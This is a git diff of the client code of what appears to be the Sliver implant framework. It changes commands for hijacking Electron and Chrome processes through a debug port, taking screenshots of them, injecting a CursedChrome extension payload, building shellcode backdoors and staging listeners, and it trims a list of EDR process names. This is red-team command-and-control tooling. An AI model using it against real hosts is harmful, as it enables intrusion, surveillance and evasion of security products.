con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-75
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@@ -1,75 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
-121
View File
@@ -1,121 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+1 -1
View File
@@ -90,7 +90,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
PPid: uint32(ctx.Flags.Int("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
-4
View File
@@ -50,8 +50,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -64,8 +62,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
+2 -1
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
@@ -172,7 +173,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
-10
View File
@@ -249,7 +249,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
@@ -282,10 +281,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -338,7 +333,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
@@ -479,7 +473,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
@@ -696,9 +689,6 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
+3 -18
View File
@@ -103,8 +103,6 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -206,10 +204,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -464,7 +462,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -688,19 +686,6 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
)
-5
View File
@@ -26,7 +26,6 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -66,12 +65,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -84,12 +81,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
+3 -26
View File
@@ -22,7 +22,6 @@ import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,25 +33,10 @@ import (
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
@@ -65,14 +49,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
@@ -86,16 +67,12 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
-1
View File
@@ -68,7 +68,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
-17
View File
@@ -22,7 +22,6 @@ import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"net/url"
"strconv"
"strings"
@@ -40,7 +39,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
@@ -119,9 +117,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -138,9 +133,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -166,8 +158,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -194,10 +184,3 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+4 -14
View File
@@ -19,10 +19,8 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -31,10 +29,6 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -42,10 +36,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -61,14 +55,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
+1 -1
View File
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
tw.AppendRow(table.Row{
tw.AppendHeader(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
-21
View File
@@ -39,11 +39,6 @@ var (
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
@@ -51,28 +46,12 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
+3 -5
View File
@@ -19,7 +19,6 @@ package reaction
*/
import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
@@ -30,10 +29,9 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
@@ -43,6 +41,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
con.PrintInfof("Saved reactions to disk\n")
}
}
-77
View File
@@ -1,77 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
